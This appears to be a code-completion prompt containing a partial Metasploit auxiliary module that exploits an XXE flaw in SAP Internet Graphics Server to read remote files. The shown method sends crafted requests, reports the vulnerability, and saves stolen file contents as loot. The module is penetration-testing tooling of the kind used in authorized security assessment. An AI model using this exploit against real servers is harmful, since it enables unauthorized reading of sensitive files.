You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: sap_igs_xmlchart_xxe.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/admin/sap
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient


    
  def action_file_read
    # Set up XML data for HTTP request
    setup_xml_and_variables
    make_post_data(@file, dos: false)

    # Download remote file
    first_response = send_first_request
    if first_response == -1
      fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
    elsif first_response == -2
      fail_with(Failure::UnexpectedReply, 'The server sent a response but it was not in the expected format. The target is likely patched.')
    else
      # Report Service and Vulnerability
      report_service(
        host: @host,
        port: @port,
        name: 'http',
        proto: 'tcp',
        info: 'SAP Internet Graphics Server (IGS)'
      )
      report_vuln(
        host: @host,
        port: @port,
        name: name,
        refs: references
      )
      # Get remote file content
      if first_response == -3
        print_status("The SAP IGS server is vulnerable, but file: #{@file} not found or not enough rights.")
      else
        result = analyze_first_response(first_response.body)
        # Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
        if result == -1
          fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the second request and did not respond in the expected manner.')
        elsif result == -2
          print_error('The server responded successfully but the response indicated the server is not vulnerable!')
          return
        elsif result == -3
          print_error('The server responded successfully but no download link was found in the response, so it is not vulnerable!')
          return
        end

        if !@file_content.to_s.empty?
          vprint_good("File: #{@file} content from host: #{@host}\n#{@file_content}")
          loot = store_loot('igs.xmlchart.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XMLCHART XXE')
          print_good("File: #{@file} saved in: #{loot}")
        else
          print_error("Failed to get #{@file} content!")
        end

      end